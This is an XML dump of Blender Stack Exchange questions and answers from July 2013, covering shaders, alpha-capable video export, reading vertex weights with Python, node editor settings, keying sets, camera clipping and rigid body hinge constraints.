  <row Id="2051" PostTypeId="2" ParentId="2034" CreationDate="2013-07-30T14:49:10.117" Score="8" Body="&lt;p&gt;I have a cycles shader that behaves like &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability&quot; rel=&quot;nofollow noreferrer&quot;&gt;matcaps&lt;/a&gt;. You simply plug in the matcap image to the correct slot. Is it possible that such node setup suits your needs? It renders perfectly smooth around 10 samples. The node setup is complex but I hope it is useful. You could combine it with the freestyle renderer by overlaying the outlines on the cycles render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a matcap example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cam Down should be usually the real down vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WDCd.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Matcap Coords node-tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The multiply nodes use 0.5 and the add nodes use one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqiW3.png&quot; alt=&quot;Matcap Coords&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cam Normals node-tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M6KLb.png&quot; alt=&quot;Cam Normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cam Axis node-tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NGqU6.png&quot; alt=&quot;Cam Axis&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-06T21:16:16.423" LastActivityDate="2016-08-06T21:16:16.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2052" PostTypeId="2" ParentId="2050" CreationDate="2013-07-30T15:47:47.033" Score="0" Body="&lt;p&gt;I did some Googling on this because I didn't know this was actually supported by &lt;em&gt;any&lt;/em&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've discovered; 32bit video formats support it; but it isn't always supported, so you will need to do some testing with different formats. FLV supports the alpha channel, and theoretically, so should Theora, but it strips out this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet if you need to do FX, would be to use Chroma keying, so you can overlay your FX on another video.&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-07-30T15:47:47.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2053" PostTypeId="2" ParentId="2050" CreationDate="2013-07-30T15:51:03.353" Score="18" Body="&lt;p&gt;If you're using OSX you can use its Quicktime support:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Selecting any of the video formats in the Output panel.&lt;/li&gt;&#xA;&lt;li&gt;In the Encoding panel change the format to Quicktime and select a codec that supports alpha (such as HuffYUV).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNrj2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="55" LastEditDate="2014-06-28T17:52:53.213" LastActivityDate="2014-06-28T17:52:53.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostTypeId="2" ParentId="2050" CreationDate="2013-07-30T18:18:27.603" Score="1" Body="&lt;p&gt;There are no compressed video formats supported (directly) by Blender that also support alpha &amp;amp; high compression rates - HuffYUV, QuickTimeRLE support alpha but will still produce large files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;As noted in another answer, OSX can use QuickTime, so if you're on OSX see @avvi's answer.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since the questioner mentions file-size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not a video format, but JPEG2000 is a compressed image format that supports alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that unlike PNG its a &lt;em&gt;lossy&lt;/em&gt; compression, making it more suitable for storing video, even though its an image format.&#xA;Its a standard for &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_Cinema_Package&quot; rel=&quot;nofollow noreferrer&quot;&gt;digital cinema&lt;/a&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-01-21T20:07:24.260" LastActivityDate="2017-01-21T20:07:24.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2055" PostTypeId="1" CreationDate="2013-07-30T18:30:25.083" Score="2" ViewCount="645" Body="&lt;p&gt;I am trying to use the Vertex Proximity Modifier to update vertex weights and hoping to be able to read the same with Python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plane and a vertex group called &quot;all&quot; (which includes all the vertices and default weight 0.0) and the proximity object is set to a sphere. The modifier behaves as expected. But when I try the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object # select the plane&#xA;&#xA;for i in range(0, 24): # I know there are 25 vertices&#xA;    print (obj.vertex_groups['all'].weight(i))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get 0.0 printed out for each vertex. Can I get the individual weight of each vertex with the modifier in action but &lt;strong&gt;not&lt;/strong&gt; applied? (If I apply the modifier, then I get the intended results.)&lt;/p&gt;&#xA;" OwnerUserId="1020" LastEditorUserId="12" LastEditDate="2013-07-31T16:52:16.087" LastActivityDate="2013-07-31T16:52:16.087" Title="Getting vertex weights with the vertex proximity modifier" Tags="&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostTypeId="2" ParentId="2055" CreationDate="2013-07-30T20:18:50.523" Score="1" Body="&lt;h1&gt;Use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Object.html#bpy.types.Object.to_mesh&quot; rel=&quot;nofollow&quot;&gt;bpy.types.Object.to_mesh&lt;/a&gt;:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;to_mesh(scene, apply_modifiers, settings, calc_tessface=True, calc_undeformed=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Create a Mesh datablock with modifiers applied&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This leaves your object unchanged and gives access to the modified vertex groups, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mesh = bpy.context.object.to_mesh(bpy.context.scene, True, &quot;PREVIEW&quot;)&#xA;for vertex in mesh.vertices:&#xA;    for group in vertex.groups:&#xA;        print(vertex, group, group.weight)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-30T20:18:50.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2057" PostTypeId="1" AcceptedAnswerId="2058" CreationDate="2013-07-30T20:57:20.310" Score="11" ViewCount="2934" Body="&lt;p&gt;In this amazing &lt;a href=&quot;http://blenderthings.blogspot.co.uk/2012/12/a-fabric-osl-shader-for-blender-cycles.html&quot; rel=&quot;noreferrer&quot;&gt;Blog&lt;/a&gt; I found a OSL Shader for fabric, but now I'm stuck because I can't find the Node called &lt;em&gt;Screen&lt;/em&gt;. I tried the search menu &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;Search...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wEwZT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-07-31T01:35:25.850" LastActivityDate="2020-10-20T12:40:05.707" Title="Where is the Screen Node?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostTypeId="2" ParentId="2057" CreationDate="2013-07-30T21:04:53.900" Score="10" Body="&lt;p&gt;That is a &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/color/mix.html#mix-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;MixRGB node&lt;/a&gt;&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;Add node menu &amp;gt; Color &amp;gt; MixRGB&lt;/em&gt;) which is set to &lt;a href=&quot;http://en.wikipedia.org/wiki/Blend_modes#Screen&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screen&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pOaoH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T12:40:05.707" LastActivityDate="2020-10-20T12:40:05.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2060" PostTypeId="2" ParentId="1970" CreationDate="2013-07-30T22:09:15.707" Score="3" Body="&lt;p&gt;I'm not sure I understand the question completely, but I'll start with some possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Hair Dynamics:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Hair/Dynamics&quot; rel=&quot;nofollow noreferrer&quot;&gt;hair dynamics&lt;/a&gt; will simulate the strands with cloth physics,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples with a wind force:&lt;br&gt;&#xA;With hair dynamics:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z8znh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without hair dynamics:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4jlIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to simulate it (Note, simulation probably takes longer and you can most likely do it satisfactorily other ways) you can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Smoke simulation&lt;/em&gt;&lt;/a&gt; to get the airflow infromation and then use a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.65/Smoke_Simulation#Interaction_with_Force_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Smoke Flow&lt;/em&gt;&lt;/a&gt; force to use it to effect the grass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iNKV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The advantage to this is that you get all the complex little air currents caused by the cube as the air flows around it to effect the grass)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Texture Force field&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by not bending (Is it not bending in the viewport? or only when rendered?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture force with Dynamics:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/33EXt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And without:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/duhsC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-31T19:40:26.047" LastActivityDate="2013-07-31T19:40:26.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2061" PostTypeId="1" AcceptedAnswerId="2062" CreationDate="2013-07-31T05:57:02.473" Score="22" ViewCount="14060" Body="&lt;p&gt;Unitl now I haven't found the option to enable the curved representation of connectors between nodes. The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Controls&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; doesn't mention such an  option. Is there a keyboard shortcut?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2015-03-07T15:33:04.213" LastActivityDate="2020-05-18T10:53:56.420" Title="How can noodles (the lines that connect nodes) be changed from straight to curved lines?" Tags="&lt;customization&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2062" PostTypeId="2" ParentId="2061" CreationDate="2013-07-31T05:59:33.843" Score="35" Body="&lt;p&gt;The option can be found in &lt;em&gt;User Preferences &gt; Themes&lt;/em&gt; under &lt;em&gt;Node Editor&lt;/em&gt;:&#xA;Higher values will increase the curviness of noodles. Setting it to 0 will make them straight line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.7#&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YZmRw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8#&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xzmWZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="19307" LastEditDate="2020-05-18T10:53:56.420" LastActivityDate="2020-05-18T10:53:56.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2063" PostTypeId="1" AcceptedAnswerId="2067" CreationDate="2013-07-31T10:48:47.837" Score="5" ViewCount="1174" Body="&lt;p&gt;In my animation I use a lot of restrict render and restrict view on/off.&#xA;Can I do something to display those keyframes when I type the &lt;kbd&gt;I&lt;/kbd&gt; key &lt;em&gt;(insert keyframe menu)&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="12" LastEditDate="2013-07-31T16:49:54.653" LastActivityDate="2013-07-31T22:44:04.797" Title="Can I personalize the insert keyframe menu?" Tags="&lt;animation&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostTypeId="1" CreationDate="2013-07-31T12:37:03.947" Score="5" ViewCount="212" Body="&lt;p&gt;I am following this &lt;a href=&quot;http://www.blenderguru.com/videos/how-to-make-a-realistic-asteroid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderGuru tutorial&lt;/a&gt; on making an asteroid and when it comes to rendering the scene I get an unwanted &quot;shadow&quot;. The shadow starts to appear in frame 36 of the render (but is clearer in frame 40) and i do not know what i have done wrong. Here is the &lt;a href=&quot;http://www.pasteall.org/blend/23107&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect described here is clearly visible in the right top corner, like a polygonal darkness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7G6Ph.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="599" LastEditDate="2013-12-05T22:44:27.243" LastActivityDate="2013-12-05T22:44:27.243" Title="Polygonal darkness appearing in render" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2067" PostTypeId="2" ParentId="2063" CreationDate="2013-07-31T13:43:49.250" Score="5" Body="&lt;p&gt;Yes, it's done using &lt;a href=&quot;http://aligorith.blogspot.fr/2010/12/animating-in-25-getting-to-grips-with.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keying Sets&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;Types of Keying Sets&lt;/h2&gt;&#xA;&lt;p&gt;There are basically two types of Keying Set in Blender: &amp;quot;Builtin&amp;quot; and &amp;quot;Absolute&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Builtin&lt;/strong&gt; are the ones that are always available (context permitting) in Blender. They are the (familiar) ones that show up in the IKEY menu by default - &amp;quot;Location&amp;quot;, &amp;quot;Rotation&amp;quot;, &amp;quot;Scaling&amp;quot;, and friends. All you generally need to know about these are that they are defined using in Python so that they can check the context to see what properties they should act on. This means that you CAN'T add/remove properties from them yourself unless you edit the Python code which determines what they use. If you're curious to add a few more 'builtins' that you commonly like to use, you can find these under scripts/keyingsets/ in your install directory. Be aware though that the attempts at making these definitions quite &amp;quot;modular&amp;quot; may initially be a little confusing for novice/beginner Python programmers, though they should still be quite easy to grasp. The topic of setting these up shall be left as an exercise to the reader and/or a future post :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Absolute&lt;/strong&gt; are the ones that you should be most interested in, as they are the &amp;quot;user-defined&amp;quot; Keying Sets, and are stored per Scene (that they are defined for). By setting up and using these carefully, you can improve your workflow quite a bit. Used appropriately, you can insert keyframes for a whole bunch of related properties with the touch of a key (or single click if you like), saving frustration from forgetting to key one of a bunch of properties and saving time jumping around keying multiple things separately. This has significant benefits, especially for the modern character animator working in the standard pose-to-pose full-pose blocking method, where keying every single control on every key-pose at once is the método comodo.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;See the documentation written by the developer of this feature for more info:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://aligorith.blogspot.fr/2010/12/animating-in-25-getting-to-grips-with.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Getting to grips with Keying Sets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://aligorith.blogspot.fr/2011/02/extending-25-coding-your-own-builtin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coding your own &amp;quot;Builtin Keying Set&amp;quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-31T22:44:04.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2070" PostTypeId="2" ParentId="2064" CreationDate="2013-07-31T14:57:28.493" Score="4" Body="&lt;p&gt;&lt;strong&gt;Two ways to solve this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;  scale down the &lt;code&gt;space_backdrop&lt;/code&gt; sphere so it fits inside the camera clipping bounds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;&#xA;Set the viewing mode to shaded (press Z again), and you can clearly see it's not a shadow but a feature of the clipping plane. Modify the &lt;em&gt;Clipping End&lt;/em&gt; parameter (In &lt;em&gt;Properties &gt; Camera Settings&lt;/em&gt;) to be large enough to fit the whole scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ULbLA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDm9S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's difficult to see in wireframe mode:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UD6CO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to visualize the clipping plane, you enable 'limits' in the Display panel of the camera. View the scene from the side and zoom out to see how the limits indicator behaves as you adjust the &lt;code&gt;End&lt;/code&gt; value &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UN94b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-31T19:12:03.590" LastActivityDate="2013-07-31T19:12:03.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2071" PostTypeId="1" AcceptedAnswerId="2072" CreationDate="2013-07-31T15:02:13.633" Score="4" ViewCount="704" Body="&lt;p&gt;I have to set up an exterior architecture scene&amp;hellip; to make it more lively I put a lot of silhouettes into the scene. They are planes mapped to transparency with a mask in cycles. Now I have to change color of all of these &quot;people&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this will take lots of clicks to do, I was wondering if there is a way to set up a property in an object that controls a property &lt;em&gt;(RGB in this case)&lt;/em&gt; for many objects. I tried a driver but didn't fully grasp it. To do this in post-production is not so ideal because the reflection doesn't work&amp;hellip; &lt;em&gt;(if I mask the people out).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, is there a way to copy only one property of an object to several others? &lt;em&gt;(Like linking only the RGB between these objects?)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="12" LastEditDate="2013-07-31T16:29:51.623" LastActivityDate="2014-02-19T08:46:25.430" Title="Control several different materials via one slider" Tags="&lt;materials&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2072" PostTypeId="2" ParentId="2071" CreationDate="2013-07-31T16:24:59.067" Score="4" Body="&lt;p&gt;If using node materials you could use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;nofollow&quot;&gt;node group&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply creating a the group containing just a RGB node.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Add &gt; Input &gt; RGB&lt;/em&gt; and &lt;em&gt;Add &gt; Group &gt; Make Group&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;I&lt;/kbd&gt;, &lt;kbd&gt;R&lt;/kbd&gt; (if it gives you Render Layer Node, then it's &lt;kbd&gt;G&lt;/kbd&gt;), &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to parent node tree (leave the new group)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For each material &lt;em&gt;Add &gt; Group &gt; (Group Name)&lt;/em&gt; and use that as your color.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edits to the group will effect all instances.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="1363" LastEditDate="2014-02-19T08:46:25.430" LastActivityDate="2014-02-19T08:46:25.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2073" PostTypeId="2" ParentId="2071" CreationDate="2013-07-31T18:14:37.320" Score="2" Body="&lt;p&gt;If using BI:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options#Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object Color&lt;/a&gt; option for each material.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select target objects and set &lt;em&gt;Properties window &gt; Object &gt; Display &gt; Object Color&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1178/290&quot;&gt;Copy To Selected&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the future it may be possible to use Object Color in cycles using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Input#Attribute&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attribute&lt;/a&gt; node.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-02-19T08:36:17.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostTypeId="1" CreationDate="2013-07-31T19:36:27.303" Score="7" ViewCount="3063" Body="&lt;p&gt;I want to drop a Padlock object that not only bounces the main body of the lock but has an open lock that also swivels when it hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't do this with a parent child relationship since it isn't calculated in the simulation...  any ideas?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="12" LastEditDate="2014-10-30T21:28:03.747" LastActivityDate="2014-10-30T21:28:03.747" Title="Rigid body animation with constraints and relationships" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2075" PostTypeId="1" AcceptedAnswerId="2077" CreationDate="2013-07-31T19:39:26.267" Score="12" ViewCount="2084" Body="&lt;p&gt;With &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.props.html&quot; rel=&quot;noreferrer&quot;&gt;bpy.props&lt;/a&gt; I can assign &lt;code&gt;bool&lt;/code&gt;, &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt; and &lt;code&gt;string&lt;/code&gt; to a custom property. But how can I assign a datablock (&lt;code&gt;bpy.types.ID&lt;/code&gt;) object (lets say a material &lt;code&gt;bpy.types.material&lt;/code&gt;) to a custom property?&lt;/p&gt;&#xA;&lt;h3&gt;Background&lt;/h3&gt;&#xA;&lt;p&gt;I create &amp;gt;1000 curve objects with a python script. For each curve I would like to store a list of materials (from other objects that these curve interacted with during creation). Later on  I want to manipulate the curves depending on those materials with a script running on &lt;code&gt;bpy.app.handler.frame_change_pre&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-11T21:01:46.030" Title="Assign datablock to custom property" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2076" PostTypeId="2" ParentId="2074" CreationDate="2013-07-31T20:07:43.640" Score="7" Body="&lt;p&gt;It sounds like &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Design#Constraints&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rigid body constraints&lt;/a&gt; are what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a padlock you most likely want a &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Hinge&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Hinge&lt;/em&gt;&lt;/a&gt; constraint, to allow rotation on only one axis.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Creating a Rigid Body constraint&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;3D view &gt; Tool Shelf &gt; Rigid body tools&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7nEzi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the easiest way (currently) to create RB constraints. (Select objects and press &lt;em&gt;Connect&lt;/em&gt;. all selected objects have to be Rigid Body objects to do this.) This will create an empty that represents the constraint. (Constraint settings are in the physics panel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vg690.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick setup,&#xA;frame 1 and frame 50:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Laq33.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w4DCa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the orientation of the empty refers to the orientation of the &quot;hinge&quot; (what direction it's allowed to rotate in.) by default the hinge will be allowed to rotate around the local Z axis of the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1oL80.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-24T22:34:29.460" LastActivityDate="2013-10-24T22:34:29.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
